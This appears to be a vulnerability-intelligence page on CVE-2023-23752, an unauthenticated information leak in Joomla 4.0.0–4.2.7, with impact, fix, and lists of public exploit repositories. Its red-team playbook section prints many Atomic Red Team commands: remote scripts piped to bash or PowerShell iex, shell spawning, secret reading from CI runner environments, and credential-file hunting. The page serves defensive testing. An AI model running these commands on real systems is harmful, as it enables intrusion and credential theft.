CVE-2023-23752
Overview
This vulnerability is an improper access control flaw in Joomla! CMS webservice endpoints. The root cause is a failure to enforce adequate authorization checks on specific API endpoints, allowing unauthenticated users to bypass access restrictions. The affected component is the Joomla! webservice interface present in versions 4.0.0 through 4.2.7.
Vulnerability Description
An issue was discovered in Joomla! 4.0.0 through 4.2.7. An improper access check allows unauthorized access to webservice endpoints.
Impact
An attacker can exploit this vulnerability to gain unauthorized access to user password information without any authentication or user interaction. This exposure compromises the confidentiality of user accounts, potentially allowing attackers to perform credential-based attacks or escalate privileges. The breach of sensitive authentication data can lead to broader system compromise and undermine trust in the affected Joomla! CMS installation.
Solution
Upgrade Joomla! CMS to version 4.2.8 or later, where the improper access control issue in webservice endpoints has been addressed. Detailed patch instructions and advisory information are available in the Joomla! security center advisory 894 at https://developer.joomla.org/security-centre/894-20230201-core-improper-access-check-in-webservice-endpoints.html. No alternative workarounds are specified; applying the official update is required to remediate the vulnerability.
EPSS vs KEV Prediction — Evolution (30 days)
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Joomla | Joomla\! | All |
cpe:2.3:a:joomla:joomla\!:*:*:*:*:*:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
Metasploit (1)
| Module | Authors | Rank | Platform | Link |
|---|---|---|---|---|
|
Joomla API Improper Access Checks
auxiliary/scanner/http/joomla_api_improper_access_checks
|
h00die, Tianji Lab | Unknown | - | View |
ExploitDB (1)
| Title | Author | Type | Platform | Date | Link |
|---|---|---|---|---|---|
| Joomla! v4.2.8 - Unauthenticated information disclosure | Alexandre ZANNI | webapps | php | - | View |
GitHub PoCs (52)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
Acceis/exploit-CVE-2023-23752
Joomla! < 4.2.8 - Unauthenticated information disclosure
|
Acceis | 95 | 16 | 2023-03-24 | View |
|
Ap0dexMe0/CVE-2023-23752
Perform With Mass Exploiter In Joomla 4.2.8.
|
Ap0dexMe0 | 37 | 6 | 2023-04-09 | View |
|
ThatNotEasy/CVE-2023-23752
Perform With Mass Exploiter In Joomla 4.2.8.
|
ThatNotEasy | 35 | 6 | 2023-04-09 | View |
|
K3ysTr0K3R/CVE-2023-23752-EXPLOIT
A PoC exploit for CVE-2023-23752 - Joomla Improper Access Check in Versions 4.0.0 through 4.2.7
|
K3ysTr0K3R | 20 | 5 | 2023-12-04 | View |
|
z3n70/CVE-2023-23752
simple program for joomla CVE-2023-23752 scanner for pentesting and educational purpose
|
z3n70 | 18 | 4 | 2023-02-24 | View |
|
gibran-abdillah/CVE-2023-23752
Bulk scanner + get config from CVE-2023-23752
|
gibran-abdillah | 8 | 7 | 2023-03-09 | View |
|
keyuan15/CVE-2023-23752
Joomla 未授权访问漏洞 CVE-2023-23752
|
keyuan15 | 13 | 1 | 2023-03-01 | View |
|
adhikara13/CVE-2023-23752
Poc for CVE-2023-23752
|
adhikara13 | 8 | 2 | 2023-04-04 | View |
|
Sweelg/CVE-2023-23752
Joomla未授权访问漏洞
|
Sweelg | 5 | 3 | 2023-06-16 | View |
|
Youns92/Joomla-v4.2.8---CVE-2023-23752
CVE-2023-23752
|
Youns92 | 7 | 0 | 2023-11-28 | View |
|
ifacker/CVE-2023-23752-Joomla
CVE-2023-23752 Joomla 未授权访问漏洞 poc
|
ifacker | 4 | 3 | 2023-02-23 | View |
|
0xNahim/CVE-2023-23752
|
0xNahim | 6 | 0 | 2023-03-26 | View |
|
Jenderal92/Joomla-CVE-2023-23752
python 2.7
|
Jenderal92 | 1 | 5 | 2023-03-11 | View |
|
karthikuj/CVE-2023-23752-Docker
Joomla Unauthorized Access Vulnerability (CVE-2023-23752) Dockerized
|
karthikuj | 5 | 0 | 2023-03-25 | View |
|
Fernando-olv/Joomla-CVE-2023-23752
This Python implementation serves an educational purpose by demonstrating the exploitation of CVE-2023-23752. The code p...
|
Fernando-olv | 5 | 0 | 2023-12-01 | View |
|
Saboor-Hakimi/CVE-2023-23752
CVE-2023-23752 nuclei template
|
Saboor-Hakimi | 4 | 0 | 2023-02-18 | View |
|
Vulnmachines/joomla_CVE-2023-23752
Joomla! 4.0.0 through 4.2.7. An improper access check allows unauthorized access to webservice endpoints.
|
Vulnmachines | 4 | 0 | 2023-02-20 | View |
|
yusinomy/CVE-2023-23752
Joomla! 未授权访问漏洞
|
yusinomy | 3 | 1 | 2023-02-18 | View |
|
blacks1ph0n/CVE-2023-23752
Joomla Unauthorized Access Vulnerability
|
blacks1ph0n | 3 | 1 | 2023-10-30 | View |
|
ibaiw/joomla_CVE-2023-23752
未授权访问漏洞
|
ibaiw | 3 | 1 | 2023-02-23 | View |
|
GhostToKnow/CVE-2023-23752
开源,go多并发批量探测poc,准确率高
|
GhostToKnow | 3 | 0 | 2023-03-09 | View |
|
adriyansyah-mf/CVE-2023-23752
|
adriyansyah-mf | 1 | 2 | 2023-03-07 | View |
|
0xWhoami35/CVE-2023-23752
|
0xWhoami35 | 3 | 0 | 2024-04-11 | View |
|
JohnDoeAnonITA/CVE-2023-23752
CVE-2023-23752 Data Extractor
|
JohnDoeAnonITA | 2 | 0 | 2024-03-12 | View |
|
rvzsec/joombrute
Modern Joomla Auth-attack Toolkit J3 / J4 / J5 - CVE-2023-23752 · CVE-2023-23755 · CVE-2025-25227
|
rvzsec | 1 | 0 | 2026-06-21 | View |
|
wangking1/CVE-2023-23752-poc
CVE-2023-23752 poc
|
wangking1 | 1 | 0 | 2023-02-23 | View |
|
AkbarWiraN/Joomla-Scanner
CVE-2023-23752
|
AkbarWiraN | 1 | 0 | 2023-04-06 | View |
|
AlissonFaoli/CVE-2023-23752
Joomla Unauthenticated Information Disclosure (CVE-2023-23752) exploit
|
AlissonFaoli | 1 | 0 | 2023-10-20 | View |
|
Pushkarup/CVE-2023-23752
Exploit for CVE-2023-23752 (4.0.0 <= Joomla <= 4.2.7).
|
Pushkarup | 1 | 0 | 2023-10-25 | View |
|
MrP4nda1337/CVE-2023-23752
simple program for joomla scanner CVE-2023-23752 with target list
|
MrP4nda1337 | 0 | 1 | 2023-07-26 | View |
|
r3dston3/CVE-2023-23752
|
r3dston3 | 1 | 0 | 2023-11-30 | View |
|
h3x0v3rl0rd/CVE-2023-23752
Joomla! v4.2.8 - Unauthenticated information disclosure
|
h3x0v3rl0rd | 1 | 0 | 2024-05-04 | View |
|
TindalyTn/CVE-2023-23752
Mass Scanner for CVE-2023-23752
|
TindalyTn | 1 | 0 | 2023-12-20 | View |
|
CyberCTF/vulhub-joomla-cve-2023-23752
Vulhub joomla/CVE-2023-23752: Joomla Webservice Improper Access Check (CVE-2023-23752), run with Isoloom
|
CyberCTF | 0 | 0 | 2026-10-08 | View |
|
s4m98/CVE-2023-23752
Joomla 4.1.0 exploit
|
s4m98 | 0 | 0 | 2026-10-04 | View |
|
BardLaudian/CVE-2023-23752
Python port of the CVE-2023-23752 exploit — Joomla! < 4.2.8 unauthenticated information disclosure (user list + DB crede...
|
BardLaudian | 0 | 0 | 2026-07-17 | View |
|
Sharma01672/traveller-htb
Traveller is an Easy Linux machine featuring a Joomla 4.2.7 travel booking website vulnerable to CVE-2023-23752, an unau...
|
Sharma01672 | 0 | 0 | 2026-06-21 | View |
|
Marwan651/Joomla-CMS-Full-Lifecycle-Pentest
A comprehensive full-lifecycle penetration testing project on Joomla 4.2.5 exploiting CVE-2023-23752 inside a Dockerize...
|
Marwan651 | 0 | 0 | 2026-05-14 | View |
|
sw0rd1ight/CVE-2023-23752
Poc for CVE-2023-23752 (joomla CMS)
|
sw0rd1ight | 0 | 0 | 2023-02-21 | View |
|
yTxZx/CVE-2023-23752
|
yTxZx | 0 | 0 | 2023-10-20 | View |
|
svaltheim/CVE-2023-23752
|
svaltheim | 0 | 0 | 2023-11-30 | View |
|
hadrian3689/CVE-2023-23752_Joomla
|
hadrian3689 | 0 | 0 | 2023-12-11 | View |
|
C1ph3rX13/CVE-2023-23752
CVE-2023-23752 Joomla Unauthenticated Information Disclosure
|
C1ph3rX13 | 0 | 0 | 2023-12-13 | View |
|
JeneralMotors/CVE-2023-23752
An access control flaw was identified, potentially leading to unauthorized access to critical webservice endpoints withi...
|
JeneralMotors | 0 | 0 | 2023-12-18 | View |
|
gunzf0x/CVE-2023-23752
Binaries for "CVE-2023-23752"
|
gunzf0x | 0 | 0 | 2023-12-19 | View |
|
Rival420/CVE-2023-23752
Joomla! < 4.2.8 - Unauthenticated information disclosure exploit
|
Rival420 | 0 | 0 | 2024-02-19 | View |
|
mariovata/CVE-2023-23752-Python
Joomla! < 4.2.8 - Unauthenticated information disclosure
|
mariovata | 0 | 0 | 2024-04-15 | View |
|
Ly0kha/Joomla-CVE-2023-23752-Exploit-Script
Joomla CVE-2023-23752 Exploit Script
|
Ly0kha | 0 | 0 | 2023-11-29 | View |
|
Aureum01/CVE-2023-23752
A bash automation that exploits the vulnerable endpoints for the Joomla! API 4.0 - 4.2.7
|
Aureum01 | 0 | 0 | 2024-08-11 | View |
|
0xx01/CVE-2023-23752
A simple bash script to exploit Joomla! < 4.2.8 - Unauthenticated information disclosure
|
0xx01 | 0 | 0 | 2024-04-28 | View |
|
shellvik/CVE-2023-23752
Joomla Information disclosure exploit code written in C++.
|
shellvik | 0 | 0 | 2023-12-29 | View |
|
Ge-Per/Scanner-CVE-2023-23752
|
Ge-Per | 0 | 0 | 2023-04-08 | View |
Threat Feed
33 eventsSighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Proof-of-concept code is publicly available for this vulnerability
Public exploit code is available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
59 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
for pid in $(pgrep -f 'Runner.Worker|Runner.Listener|runsvc|run.sh' 2>/dev/null); do tr '\0' '\n' < /proc/$pid/environ 2>/dev/null | grep -iE 'env|ssh'; done
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path} -maxdepth 6 -name "#{filename}" -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.aws/#{filename}' -type f 2>/dev/null
find #{file_path} -path '*/.azure/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.docker/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.config/gcloud/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /root -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find /etc/kubernetes -name '*.conf' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for filename in #{filenames}; do find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null; done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
for filename in #{filenames}; do
find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null
done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /etc/mysql -name 'my.cnf' -type f #{optional_flags} 2>/dev/null
find /etc/redis -name 'redis.conf' -type f #{optional_flags} 2>/dev/null
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2023-23752 |
| developer.joomla.org |
GitHub CVE
vendor-advisory
|
https://developer.joomla.org/security-centre/894-20230201-core-improper-access-check-in-webservice-endpoints.html |
| cisa.gov |
NVD API
US Government Resource
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2023-23752 |